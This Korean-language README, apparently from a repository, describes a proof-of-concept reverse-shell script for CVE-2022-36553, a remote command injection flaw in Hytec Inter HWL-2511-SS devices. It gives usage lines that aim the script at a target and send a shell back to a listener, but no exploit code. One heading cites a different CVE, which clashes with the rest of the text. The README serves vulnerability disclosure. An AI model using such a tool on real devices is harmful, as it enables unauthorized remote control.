CVE-2022-36553 - Hytec Inter HWL-2511-SS 인증되지 않은 원격 명령 주입 취약점.

개요

이 저장소는 Hytec Inter HWL-2511-SS 장치의 중요한 취약점인 CVE-2022-36553을 악용하기 위한 개념 증명(PoC) 리버스 셸 스크립트를 포함합니다. 이 스크립트는 실용적인 데모로, 제 블로그 게시물 "Hytec Inter HWL-2511-SS - 취약점 보고서"에서 제공된 심층 분석을 보완합니다.

영향을 받는 버전

버전 1.05 이하의 모든 Hytec Inter HWL-2511-SS 장치.

PoC 스크립트 사용법

# Usage: python HWL-2511-SS.py --RHOST <Target-IP> --RPORT <Target-Port> --LHOST <Local-IP> --LPORT <Local-Port>
# Example: python HWL-2511-SS.py --RHOST 192.168.1.1 --RPORT 443 --LHOST 192.168.1.100 --LPORT 4444

동영상 개념 증명

Script PoC CVE-2022-26134

참고

교육 목적으로만 사용하십시오.

CVE-2022-36553-PoC

인기